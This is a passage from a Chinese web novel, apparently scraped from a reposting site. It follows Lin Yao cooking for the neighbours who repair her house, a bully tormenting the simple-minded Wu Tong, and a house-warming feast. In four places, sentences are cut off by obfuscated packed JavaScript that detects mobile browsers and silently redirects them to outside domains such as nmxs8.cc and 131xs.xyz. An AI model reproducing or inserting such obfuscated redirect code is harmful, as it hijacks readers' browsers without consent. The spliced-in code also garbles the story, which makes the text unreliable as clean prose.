林窈提前把五花肉去皮浸泡了半个时辰。现在，她将浸泡好的五花肉从清水中捞出，放到锅里，倒入没过五花肉的水，又加入少量盐，先大火煮开，撇掉浮沫，再中火焖煮。在焖煮的间隙，林窈打算调制蘸料。她把茱萸磨碎，加入到五香粉中，又加入大蒜粉和香葱，然后淋上热油，香味瞬间被高温激发。林窈拿出筷子快速搅拌，让香料和油充分融合。 这时，锅里的水煎干了，林窈开始用小火煎五花肉，不停地翻面，直到五花肉的表面变得金黄酥脆。林窈把五花肉夹出，切成小块装到碟子里。锅中还剩下许多煎五花肉时煸出的油，林窈往灶膛里添了些柴火，把肉沫放入锅中，简单翻炒后肉沫便熟透了，接着她把切好的茄子倒入锅中。不多时，一道下饭利器，肉末茄子就做好了。 林窈做最后一道菜的时候，让林崧去喊修房子的几人来吃饭。此刻，众人都已在院子里等着开饭。林窈把做好的香煎葱油鸡、脆皮五花和肉沫茄子端上桌，林有功倒吸了一口凉气，“阿窈，你们这可比上回徐老汉家里嫁女儿做的酒席还要阔气啊！全都是肉菜哩！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331513|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林窈有些不好意思地笑了笑，说道：“总不能让大家饿着肚子帮我们修房子，而且还要辛苦好几日，我也帮不上什么大忙，就想着做些好吃的犒劳大家。” 林有功爽朗一笑，“客气什么，乡里乡亲的就应该这样。” 众人早就饿得不行了，纷纷入座，刘旭迫不及待地夹起一块香煎葱油鸡，咬了一口，鲜嫩多汁的鸡肉混合着浓郁的葱香在口中散开，他不禁赞叹道：“阿窈，你这手艺，不去镇上开个饭馆都可惜了！”一旁的吴铜嘴里塞着脆皮五花，腮帮子一鼓一鼓的，吃得津津有味。几个汉子食量本就大，更何况还干了一天的体力活，当下众人都吃得狼吞虎咽。 几人吃得正欢，门外却响起了叫门声，“大壮！大壮在家吗？”吴铜听出是柳三娘的声音，立刻停下筷子，就要往门口跑，“阿娘！阿娘！阿铜在这里！” 刘大壮把他按回椅子上，“好好吃饭，我去开门。” “大壮，阿铜这孩子是不是在……”柳三娘话说到一半，就看到自家的儿子整吃得满嘴油光，她的脸瞬间涨得通红。柳三娘的性子和梁氏颇为相像，所以两人虽年纪相差一大截，却十分投缘。她知晓林诚一家都是心善的，原本是想让儿子也来帮忙造房子，多与人相处，有林诚他们照料，必然不会出什么问题。自己还打包票说不占林家便宜，让儿子家去吃午食。没想到儿子竟然在这儿吃了起来，柳三娘看了看桌上的菜，想来是林窈考虑到修缮房子耗费体力，做的都是肉菜，阿铜也帮不上什么忙，却吃得这么欢。 柳三娘三步并作两步走到吴铜身边，伸手就要把吴桐拉起来，林窈忙放下碗拉住了她，“柳婶，不碍事，阿铜哥今日帮了不少忙呢！” 刘大壮也在一旁帮腔：“阿铜这孩子可勤快了，干活一点都不含糊，手脚麻利得很。今天我们夯土墙的时候，他还帮忙递锤子，跑来跑去，一刻都没闲着。” 吴铜嘴里还嚼着脆皮五花，他虽然心智稚嫩，但对身边人的情绪却十分敏感。他看着柳三娘，眼睛里满是委屈，说道：“娘，能……能帮忙。 柳三娘看着儿子，眼眶微微泛红，她哪里不知道林窈他们只是为了宽她的心，她轻轻摸了摸吴铜的头，“好，那阿铜就跟哥哥姐姐们一起吃。”说着，她转身对林窈和众人说：“真是对不住大家，这孩子给你们添麻烦了。” 林窈连忙摆手，“柳婶，您千万别这么说。阿铜哥帮了我们大忙。” 柳三娘背过身去，悄悄抹了抹眼泪，心中五味杂陈。这些年，因为吴铜，她操碎了心。今日看到儿子被大家接纳，她既欣慰又感动。她缓了缓情绪，转过身，走到林窈身边，轻轻拉住她的手，声音略带哽咽地说：“窈丫头，婶儿知道你是个心善的。阿铜这孩子，从小就可怜，我一直怕他给别人添麻烦，平日里都不敢让他出门。今日多谢你们了。” 林窈回握住柳三娘的手，“柳婶，您之前也帮了我们好几回，如今就当是报答您了。你我都是邻里，互相帮衬是应该的。”林窈原本还想留她一起吃饭，但柳三娘说什么都不愿意，只道家中已经做好了午食，不吃就浪费了，把吴铜拉倒一旁叮嘱了几句便回家去了。 44. 新屋建成 “阿铜！阿铜！”林有福昨天回家，听闻林家二房的屋顶被大风掀翻了，心里正暗自幸灾乐祸呢，就瞧见林诚那小子跟着刘大壮，挨家挨户找人帮忙修缮房子。二房如今日子过得红火起来，去他家干活，保准有肉吃。他和弟弟便在家里美滋滋地等着人家来请，想着到时候可得好好摆摆兄长的谱儿。 可左等右等，大半天过去了，愣是没人上门来请。出去一打听，才知道林诚早就跟着刘大壮回家了。林有福听说连吴铜这个傻子都能去做工，顿时气得火冒三丈，可又拿林诚没办法，总不能为了口吃的，就巴巴地跑去给他们家干活吧。今天是动工的头一天，林有福早早地就蹲守在吴铜回家的必经之路上，就等着问问看今日他们吃了什么好东西。 吴铜正哼着不成调的小曲儿往家走，手里攥着林窈给他的麦芽糖，时不时含上一口，那滋味，甜滋滋的，心里别提多高兴了。忽然，他听到有人喊自己，左右张望了一番，这才瞧见躲在竹林后面的林有福。一看到林有福，吴铜就像被踩到尾巴的猫，浑身一哆嗦，从前那些不堪回首的痛苦回忆，如潮水般涌上心头。他想都没想，转身就打算往林家跑。林有福可没少欺负他，虽说吴铜反应迟钝，可也知道得离这个混子远远的。 林有福哪能让他跑了，三步并两步追了上来，一把捏住吴铜的肩膀。吴铜疼得直叫唤，五官都皱成了一团。在这一瞬间，吴铜仿佛又回到了小时候，被林有福肆意戏耍的日子。他拼命扭动着身子，双手使劲儿想要掰开林有福的手，可他哪是林有福这个胖家伙的对手啊。“痛！痛！汪汪，我是小狗，汪汪……”吴铜慌乱之中，下意识地喊出了从前被欺负时，林有福逼他说的话。 林有福从前就爱捉弄吴铜，最喜欢看他趴在地上学狗叫，还常常把他当小马骑。吴铜脑子不灵光，受了欺负也不知道反抗，可他娘可不是个好惹的主儿。有一回，林有福正骑在吴铜背上，嘴里喊着“驾驾”，当他的威风将军，恰好被来找儿子的柳婶撞了个正着。柳婶气得火冒三丈，拧着林有福的耳朵，就把他押回了家。 林有福被爹娘狠狠地骂了一顿，要不是爷爷护着，说不定还得挨一顿胖揍。林有福现在想起来，耳朵都还隐隐作痛。听到吴铜这一嗓子，他条件反射地松开了手，又连忙伸手，想要捂住吴铜那张乱喊的嘴，“闭嘴！谁让你学狗叫了，我就问你，今天在林诚家里吃了啥？” 吴铜见他松开了自己，也不再叫嚷了。他砸吧砸吧嘴，回味着今天的午饭，“肉……大块肉，小猪，脆脆的，可香了！吃小鸡！香！” 林有福听着吴铜断断续续的描述，恨得牙痒痒。林诚一家修房子，第一天开工，竟然又是猪肉又是鸡肉的，吃得比他们家年节还丰盛！这么好的伙食，居然不叫上他和弟弟，眼里还有没有他们大房了！ 吴铜见林有福黑着脸，一声不吭地站在那儿，不明白他在搞什么名堂。他好奇心上来了，不由自主地凑到林有福跟前，想看看他为啥绷着一张脸。 林有福正满心窝火呢，冷不丁瞧见吴铜的脸突然凑过来，吓得一激灵，“滚开！”他这一嗓子吼得又急又凶。 吴铜被这突如其来的大吼吓得往后退了好几步，一个踉跄，差点摔倒。他也顾不上别的了，转身撒腿就往家跑，头也不敢回。 ～ 林家的房子受损严重，刘大壮他们几人每天都来上工，大家齐心协力，只用了五天时间，就把房子修缮好了。林窈还让他们重新砌了院墙，这次砌得比以前高了不少。如今家里可不只银钱重要，还有许多重要的食材和调料，得好好保管。 林窈站在修整一新的房子前，看着林崧像个欢快的小松鼠，在几间房子里窜来窜去。小家伙一边跑，一边兴奋地叫嚷着，一会儿冲进灶房，一会儿又蹦到他与林诚的房间，对这个新家的每一处都充满了好奇。看着林崧这般无忧无虑的模样，林窈的心中涌起一股前所未有的安定感。 秋风拂过，吹起林窈的发丝。她深吸一口气，空气中弥漫着泥土与木材混合的气息。在这一刻，她突然真切地感受到，自己似乎真的有了一个家。不再是初来乍到时那漂泊无依的心境，不再是面对破败茅草屋时的满心凄凉。这个家，虽与她见过的雕梁画栋相去甚远，但却满是温暖与希望。从今往后，这里便是她在这个陌生世界里扎根生长的起点。 这一次，只是把原有的三间屋子修缮了一番。林诚之前提过，想盖一间屋子用来供奉祖宗，顺便接待客人。这样一来，以后家里来客人了，就不用每次都把灶房的桌子搬出来招待，实在是不方便。承担这种功能的屋子，其实就是堂屋。一般来说，堂屋的用途可多了，尊祖敬神、祭天拜地、婚丧寿庆、禳鬼避凶，样样都离不开它。可这处房子，从一开始建造的时候，就像是临时凑合着住的，根本没考虑堂屋的构造。如今要是再建堂屋，反而会显得不伦不类。因为处在三间房子正中间的是灶房，要是把堂屋建在边上，看着倒像是偏房，怎么看都觉得别扭。在林窈看来，不建也罢，反正他们现在全靠灶王爷赏饭吃。林家的列祖列宗要是在天有灵，就该看看林家大房和老爷子，是怎么欺负他们二房的。 林有功看到林窈站在屋前发呆，还以为她高兴得傻了。也难怪，这几个堂弟妹从小就命苦，爹娘走得早，如今却能靠自己的本事把屋子建起来，就是他自己，也没这能耐啊。“阿窈，明日你们就可以搬进来住了！”林有功扛着锄头，满脸笑容地走过来，对林窈说道。 林窈这才回过神来，看到林有功，笑着回应道：“是哩！这几日可辛苦大堂哥和几位大哥了，明天暖宅，几位大哥一定要带上家人，来给我们凑凑热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346599|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹！” 这时，张平和张安也收拾好工具，走了过来。张平听到林窈的话，爽朗地笑了起来，“这几日在阿窈妹妹这儿，吃得比过年还好，我都恨不得多干几天活！以后要是还有活，可一定要来找我们，保证给你办得妥妥当当的！”张安跟在大哥身后，腼腆地点了点头。 送走了几位帮忙的大哥，林窈这才走进自己的屋子。一进屋，一股淡淡的新木香气扑面而来。墙面平整光滑，和之前那破旧漏雨、满是衰败气息的样子，简直是天壤之别。阳光透过新糊的窗户纸，轻柔地洒在地面上，形成一片片光影，给屋子增添了几分温馨。 林窈走到床边，轻轻抚摸着新打的木床。这床样式虽然简单，却结实耐用。床上铺着她新买的被褥，昨天趁着阳光正好，她把家里的几床新被褥都拿出去晒了晒。现在铺在床上，又柔软又散发着清新的味道。她的手缓缓滑过床单，感受着那平整的布料，心中满是感慨，终于不用再睡稻草铺的床了。 她走到窗前，轻轻推开窗户，一阵微风迎面吹来，带着些许秋日的凉爽，让人感到格外惬意。窗外，是新砌的院墙，比之前高了许多。就算是像刘大壮那么高的汉子，站在院墙外，也很难窥探到他们家里的情况，安全感十足。墙根下，几株不知名的小花在风中轻轻摇曳，为这个略显单调的院子增添了几分生机与活力。林窈想起自己之前在后院种下的韭菜和野葱，那场暴雨可把它们摧残得够呛，韭菜和野葱大多都被连根拔起。不过她第二天就去移栽了一些，估计用不了几天，就又能摘来吃了，想到这儿，她的嘴角不自觉地上扬。 正想着，林崧像个小炮弹似的冲进房间，“二姐，快来呀，我发现了一个好玩的地方！”说着，就拉住林窈的手，使劲儿往外拽，那股兴奋劲儿，仿佛发现了什么惊天大秘密。林窈被他的情绪感染，笑着任由他拉着自己往外走。 林崧带着林窈来到了灶房，只见角落里摆放着一个崭新的柜子，是林诚特意为家里打造的，用来存放食材。林崧指着柜子，眼睛亮晶晶的，像两颗小星星，“二姐，你看，这个柜子好大，我可以躲在里面，以后咱们玩捉迷藏，我就藏这儿！” 林窈看着他那副天真可爱的模样，忍不住伸手揉了揉他圆滚滚的脸蛋，“好呀，那崧儿可要藏好了，下次二姐找你，可别一下子就被找到了。” 这时，林诚也走了进来。林窈看见林诚，便松开了蹂躏林崧脸蛋的手，转而和林诚商量明天暖宅的事儿。林窈想着，要准备一些硬菜，好好感谢一下这几日帮忙的邻里乡亲。林诚点了点头，他想去集市上买些鞭炮，热热闹闹地庆祝一番。林崧在一旁听得眼睛放光，兴奋得叽叽喳喳，跟着阿兄阿姐的话，一会儿说要多做些好吃的糖糕，一会儿又说要在院子里挂些彩色的灯笼，把家里打扮得热热闹闹的。 45. 椒盐虾 林窈坐在驴车上，随着车身一摇一晃，琢磨着明日暖宅要做的菜肴。这几日家中猪肉、鸡肉吃了不少，她寻思着得换换口味。行至码头，林窈眼前陡然一亮，赶忙喊住驾车的林诚：“阿兄，停一下！” 林诚赶忙拉住缰绳，驴车稳稳停下，他一脸疑惑地看向林窈：“阿窈，怎么了？” 林窈目光望向码头，只见码头上依旧人来人往，热闹非凡，渔民们正忙碌地从船上卸下刚捕捞的鱼虾，各种水产琳琅满目：“咱们去码头转转，买点新鲜的水产，明日暖宅做点新菜！” 正所谓靠山吃山，靠海吃海。他们这儿地处沿海地区，最不缺的就是海鲜。码头售卖的海鲜，虽说算不得名贵品种，可价格亲民，且十分新鲜。林窈买了五斤虾，打算做成椒盐虾，光是想象那酥脆的口感，便让人垂涎欲滴。她原本还想买几条鱼做酸菜鱼，可海鱼价格偏高，况且海鱼讲究的就是个鲜字，做成酸菜鱼反倒会掩盖鱼肉原本的鲜美，实在可惜。她想着，一会儿到镇上集市买几条草鱼就行，草鱼肉质鲜嫩，用来做酸菜鱼再合适不过。 林窈在码头转了一圈，正准备离开时，忽然瞧见一旁摊位上放着一箩筐海蛎子。摊主见林窈目光落在那筐海蛎子上，就知道有生意上门了，赶忙热情招呼：“小娘子可是要买牡蛎？不巧，大牡蛎都卖光了，就剩些小的。原本十五文一斤，这些个头小的，给您便宜些，十文一斤，怎么样？” 林窈这才知道，原来这个朝代的人把海蛎子叫做小牡蛎。仔细想想，海蛎子和生蚝都是牡蛎科下的动物，长相确实相似。 摊主见林窈没吭声，以为她嫌牡蛎个头小，连忙降价，满脸堆笑道：“八文！八文一斤，不能再低了，这出海打渔，可都是拿命换钱呐。” 林窈没想到价格还能降，心中暗喜，应道：“成！出海讨生活都不容易，这些我全要了！” 摊主一听，笑得眼睛都眯成了一条缝，忙不迭地说：“好嘞，小娘子爽快！我这就给你称称。”说着，便手脚麻利地将那箩筐海蛎子搬到秤上，“一共四十八文，小娘子给四十五文钱就行。”林窈从钱袋里掏出四十五文钱递给摊主，接过装满海蛎子的袋子，心中乐开了花，蚵仔煎她来了！ 林窈满心欢喜地看着驴车上的一大桶海蛎子，连到了镇上都没察觉，还是林诚和正在镇上摆摊为人写书信的许之珩寒暄时，她才回过神来，连忙从驴车下来。 许之珩和林诚寒暄了几句，转而看向林窈，“林小娘子，有些日子没见了。” 林窈一见许之珩，便想起此前约好从府城回来三天后，到镇上与他商量豆皮的事情，忙解释：“前些日子夜里刮风下雨，家中房屋老旧，屋顶被北风吹走了，这几日忙着修缮屋舍，一时把与公子约定的事给忘了，实在对不住！” 许之珩此前心想，以林窈这般爱财的性子，断不会放过挣钱的机会，原本还疑惑是不是有什么要紧事耽搁了，才既没出摊也没来武馆找他，没想到竟是因为这事，便道：“无妨，修缮房屋乃大事，林小娘子无需自责。如今房屋可修缮好了？” 林窈点头，回应道：“多谢公子关心，已修缮得差不多了。只是这一折腾，家中银钱花去不少，正想着赶紧把豆皮生意做起来，好填补亏空呢。” 许之珩听林窈这么说，哈哈大笑起来，“林小娘子真是性情中人！”他倒是头一回见把钱财之事挂在嘴边，丝毫不避讳旁人看法的女子，很是直率。 林窈听了，微微有些羞赧，自觉似乎太财迷了些，赶忙岔开话题：“不知公子后日可有空？” 许之珩收起笑容，“我闲得很，你只管来武馆找我便是。” 林窈点了点头，看着不过短短几句话的工夫，许之珩的摊位上又多了两个找他写信的人，连忙告辞：“那便不耽误公子了。” 告别许之珩后，林窈和林诚朝着集市走去。林窈又买了三条草鱼，加上路上买的海蛎子、大虾，肉菜已然不少。这些食材虽说不错，可若要摆上桌招待贵客，似乎还缺一道能撑得起场面的硬菜。毕竟对于庄稼人而言，没什么比能大口吃肉更让人畅快的了。虽说自己近来猪肉吃腻了，但暖宅饭得让宾客们吃得尽兴才好。林窈还在犹豫是买猪蹄还是猪五花时，就见林诚已和羊肉摊老板买下了两斤羊肉。羊肉在这个朝代可是稀罕物，王公贵族以羊肉为尊，民间宴请也以有羊肉上桌来彰显主家地位，价格自然水涨船高。可当林窈听到老板说一百八十文一斤时，还是吃了一惊，好家伙，这价格竟是猪肉的十倍。 林窈本没打算买羊肉，纯粹是因为自己不喜欢吃。但想到羊肉在这个朝代的特殊意义，便也没阻拦林诚。这屋子修缮一事，对他们二人意义不同。对林诚来说，屋子修缮好，是他们兄妹三人能在林家众人面前挺直腰杆的底气，难怪他要买羊肉庆祝一番。 林诚望着那一小包用荷叶仔细包裹着的羊肉，虽心疼花出去的银钱，可想到家中从未尝过这等美味，又觉得这钱花得也算值当。 ~ 翌日清晨，兄妹三人早早起身，今日他们要做的菜可不少。原本林窈想着，这是自家的暖宅饭，就不麻烦旁人了，她和林诚早点起来准备就行。他们正准备准备淘米的时候，刘大夫妇也起来了，说什么都要帮忙。林窈只好把蒸饭、洗菜的活儿交给他们。没过多久，王小鱼也来了，这下人手一下子充足起来。 今日第一个要做的菜是鱼羊鲜，林窈领着王小鱼踏入灶房，一眼便瞧见案几上林诚已收拾妥当的鲫鱼，鳞片刮净，鱼腹清理干净，整齐码放着。这鲫鱼是昨日买了羊肉后，林窈绕到镇子西边的集市买的，很是新鲜。 “阿鱼，把葱姜切丝。”林窈一边吩咐，一边拿起菜刀，利落地将鲫鱼切成均匀鱼段，动作行云流水。王小鱼应下，转身匆匆跑去，不多时便抱着葱和姜折返，开始切丝，脸上满是兴奋，她又可以学新菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15363968|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 林窈转身拿起羊肉，刀刃轻落，羊肉薄片落在砧板上，每一片薄如蝉翼，纹理清晰，不怪她抠，实在是人多肉少价高。她先将铁锅烧热，倒入少许猪肉，再将切好的羊肉片沿着锅边缓缓放入，“刺啦”一声，羊肉与热油碰撞，肉香被激发，林窈嗅了嗅，发现没什么膻味，怪不得说吃草长大的羊没有膻味。 羊肉在锅中迅速变色，林窈把切好的鱼段轻轻放入锅中，与羊肉巧妙地交织在一起。此时，锅中的香气愈发复杂，既有羊肉的醇厚，又有鱼肉的鲜香，二者相互交融，让人闻之欲醉。林窈倒入一瓢水，不多时，锅中就开始咕噜咕噜冒泡。灶火舔舐锅底，水很快煮沸，白色浮沫泛起，林窈把手中的水瓢递给王小鱼，让她撇去浮沫。 王小鱼接过水瓢，站到锅前，更近距离地嗅到了汤羹的鲜香，她使劲吸着鼻子，似要将这香气全吸入腹中，忍不住惊叹，“好香啊！”。 林窈笑道：“别急，还得慢炖，味道才能相融。”言罢，她将切好的葱姜、花椒、八角等调料一一撒入锅中。香料入锅，让原本的香味层次更加丰富。林窈又舀一勺酒倾入锅中，酒的香气在锅中散开，不仅巧妙地去除了鱼和羊肉的腥味，还为整道菜增添了一抹别样的醇厚与甘甜。 林窈把鱼羊鲜交给王小鱼，自己做椒盐虾去了，椒盐虾做起来简单，最重要的就是“椒盐”这一味调料。椒盐制作不难，就是将花椒与盐研磨成粉。林窈从新打的柜子里拿出上回用剩的花椒，又找来一小罐盐。她把研钵放在灶台上，将花椒和盐倒入研钵，缓缓研磨起来。研杵转动，花椒与盐相互摩擦，发出细碎声响，不消片刻，一股独特的椒盐香弥漫开来。 一旁的王小鱼使劲吸了吸鼻子，满脸疑惑：“师父，这什么味儿？怪香的，可我从来没闻到过。” 林窈一边研磨，一边给王小鱼解释：“这是椒盐，一会儿做椒盐虾要用。” 王小鱼一听，凑到林窈跟前，盯着研磨钵里的东西，问道：“椒盐？师父是如何想到把它们加到一起的？” 林窈耐心解释道：“这椒盐并非我独创，是我听行船的客商说起过的一种调料。那客商说椒盐就是把花椒和盐磨成粉，用它做菜，味道特别好！”至于椒盐究竟是谁发明的，她并不清楚，便权当是劳动人民的智慧结晶了。王小鱼如获至宝般点了点头，眼睛依旧好奇地盯着林窈手中的动作。 林窈加快研磨速度，很快，花椒和盐变成粉末。她晃了晃研磨钵，让椒盐更加均匀。随后，把洗净的鲜虾倒进竹篮沥水，接着往热锅里倒油。油烧至七成热时，她将虾一只只滑入锅中，虾身上还带着些许水珠，入锅瞬间溅起星星点点的油花，虾身迅速变红、卷曲。林窈拿着锅铲快速翻炒，待虾变得金黄酥脆后，用漏勺捞出控油，再倒回锅里，抓一小把椒盐撒上，继续翻炒，让椒盐均匀裹满虾身。麻香、咸香、虾香混合在一起，香气四溢，勾得人食指大动。 46. 蚵仔煎 林窈做椒盐虾的功夫，王小鱼已经把酸菜鱼煮上了。此刻，灶房里热气蒸腾，鱼汤咕嘟作响，飘散出酸辣诱人的香气。最后只剩蚵仔煎一道菜，林窈从角落取出厚重的铁板，又把清洗好的海蛎子放在一旁，六斤海蛎子去壳后，只剩一小盆肉。 王小鱼盯着盘中那堆小巧的牡蛎，忍不住开口：“师父，这小小牡蛎，吃起来怕是没什么滋味吧？”这牡蛎实在小得可怜，她以往所见的牡蛎，个头都比这些大上许多。 林窈一边用湿布仔细擦拭铁板，一边解释：“今儿不拿它煮粥，做蚵仔煎。别看个头小，煎起来正合适，保准好吃。”王小鱼一脸茫然，她从未听闻过什么蚵仔煎。 林窈将铁板架在灶上，倒入少许油，待油温热，她把调好的面糊铺在铁板上，面糊在铁板上快速散开。她将小牡蛎一个个铺在面糊上，不多时，面糊开始变得金黄，林窈又将打散的鸡蛋液缓缓浇在上面，蛋液遇热迅速凝固，将牡蛎紧紧包裹，海鲜的鲜与鸡蛋的香完美融合。 王小鱼忍不住深吸一口气，肚子也适时地叫了起来，惹得林窈忍俊不禁：“别急，马上就好。”很快，六个色泽金黄、香气四溢的蚵仔煎出锅，圆润饱满，边缘微微翘起，泛着诱人的焦褐。 暖宅饭菜全部备齐，王小鱼主动揽下收拾灶房的活儿，还催促林窈：“师父快去换件漂亮衣裳！” 林窈和林诚兄弟二人都换上镇上买来的新衣裳，林窈看着身高窜了一个头的林诚和胖嘟嘟的林崧，兄弟俩面色红润，全然不见往日瘦骨嶙峋的模样。 暖宅规矩多，讲究的人家得先挑个好日子，提前三天打扫屋子驱晦气，再办入宅仪式，最后由当家的烧香拜神，才算把礼数做全。 碰巧房子修好第二天就是黄道吉日。林家兄妹寻思着，这房子不是新盖的，就省了打扫驱邪的步骤，直接办入宅仪式。按规矩，搬家当天得长辈或当家的带头进新房，手里得拎着米袋或者米桶，寓意往后吃喝不愁；其他人也得抱着家里要紧的物件跟着进。等所有人都进屋了，当家的要点上一炷香，把屋里屋外熏个遍，说是能赶走脏东西、保平安。 刘大壮早早就给林诚准备好了米袋，吉时一到，林诚捧起装满米的袋子，迈过了院子的门槛。林窈牵着林崧的手，紧随其后踏入屋内。 林诚走到屋子中央，依照习俗，他将米袋轻轻放置在一张简易的木桌上。随后，从怀中掏出早已备好的香烛，小心翼翼地点燃。林诚手持燃香，开始仔细地熏遍屋子的各个角落，从堂屋到卧房，从厨房到柴房，一处都未曾遗漏。熏香的气味混合着新糊黄泥的土腥味，在屋内交织。 原本要有一步安香，安香是将祖先牌位或神位搬入新宅，进行祭祀活动，以示对祖先的尊敬和祈求保佑?。只是如今家里没有堂屋，总不能把祖宗牌位供在灶房或是谁的屋里，所以这一步自然也被略过了。 礼成后，便到了开席的时间。林窈把最后一道菜端到桌上，开始招呼众人落座，“开席咯！大家快来尝尝！”众人纷纷围坐，目光立刻被桌上那盘色泽浓郁的鱼羊鲜吸引，奶白的汤汁中，鲜嫩的鱼肉与羊肉相互依偎，表面漂浮着翠绿的葱花与金黄的姜片，光是看着就让人口舌生津。林窈看着林诚挺得倍儿直的腰板，暗暗偷笑，林诚要是有尾巴，这会子怕是要翘到天上去了。 刘大壮眼睛瞪得如铜铃一般，满是惊讶，“我的老天爷呐！这竟是羊肉！咱平日里连见都难见着，今日竟能吃到，这可真是托了阿窈的福！”他迫不及待夹起一筷子送入口中，“怎的如此鲜美！我刘大壮活了这么多年，头一回尝着这稀罕东西！就这一口，怕是把一辈子的念想都给圆咯！” 梁氏也小心翼翼地夹起一小块羊肉，放入口中细细品味，感慨道：“阿窈，这羊肉可是金贵得很呐！这羊肉鲜嫩得哟，入口即化，再配上这鱼肉，香得眉毛都掉了！” 林有功夹起一块羊肉放入口中，细细咀嚼，连连点头，“这一口下去，才知道啥叫人间至味。我也就跟着阿爷到镇上曾员外家吃席的时候吃过一会，羊肉价贵，寻常百姓家哪能碰得到，阿窈和诚哥儿今日是下了血本哩！” 一百八十文一斤的羊肉对于寻常农户来说，是一辈子都未必吃得起的东西。庄稼人每年分夏、秋要缴纳两次田赋，大约占收成的10%，还要按照家庭人口数量缴纳户税。好的年景，一亩田能产两石粮食，一石粮食大约能换一贯钱。村里人大多每户只有四、五亩田地，每年收成在八到十石粮食。乍一听似乎也不少，但古代讲究人丁兴旺，四五亩田地要供一大家子吃喝，除去赋税和留下自家口粮，每家每年的收入能有一贯钱就已经很宽裕了，自然不会有人花如此多的钱买羊肉。 林窈忙接话，“这些日子我们兄妹三人多亏了在座各位的帮助与照拂，这顿饭是为了暖宅，更是为了多谢诸位！大家伙别跟我们客气！” 梁氏拉着林窈的手，满是感慨地说：“阿窈，你们几个孩子如今也是熬出头了。如今你家暖宅，婶子看着高兴。往后啊，咱们邻里邻居的，有啥难处，招呼一声，我们能帮的一定帮！” 林诚也站起身来，对着众人拱手行礼，“多谢各位叔叔婶婶、大哥大姐平日里的照顾，今日大家敞开了吃！” 刘大壮早就被一旁色泽金黄、香气扑鼻的椒盐虾勾去了魂，林诚话音刚落，他便迫不及待地伸出筷子，夹起一只大虾，也顾不上烫嘴，直接咬了下去。“咔嚓”一声，虾壳的酥脆混合着虾肉的鲜嫩在口中爆开，刘大壮忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15384600|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住赞叹：“乖乖，这虾咋能做得这么好吃！外头又香又脆，里头的肉嫩得哟。”说着，又忙不迭地夹起第二只放到梁氏碗里，“媳妇儿，快尝尝！” 林有功也被刘大壮的吃相勾起了兴致，夹起一只椒盐虾，剥开虾壳，将虾肉放入口中，不禁拍案叫绝：“这做法当真新奇！味道很是特别！” 刘大壮在一旁连连点头，他见林有功把虾壳扔了，忙说，“这虾壳好吃得很，有滋有味！”梁氏听到刘大壮的话，给他后背来了一下，“你以为功哥儿和你一样，什么好东西都没吃过？” 林有功又夹起一只椒盐虾，连着壳嚼碎了，“确实好吃！大壮哥会吃！” 这话一出，众人都乐了。刘大壮挠挠后背，嘿嘿一笑。梁氏懒得理会他们，她早早就看上拿盘蚵仔煎，她夹起一块，放入口中，焦脆的口感、鲜美的牡蛎在唇齿间碰撞，“哎呀，这里头的小牡蛎鲜得嘞！” 刘大壮一听，也顾不上手上还沾着椒盐，赶忙凑到蚵仔煎前，夹起一块就往嘴里塞，“哎呀妈呀，这玩意儿又香又脆，里头那小蛎子跟活过来似的，在嘴里直蹦跶！阿窈啊，你这手艺要是在镇上开个馆子，不得把人都馋疯咯！” 林众人你一言我一语，对菜肴赞不绝口，盘子里的菜很快见底。刘大壮摸着圆滚滚的肚子，打了个饱嗝：“今儿这顿饭，舒坦！把这辈子的好吃的都吃齐了！” 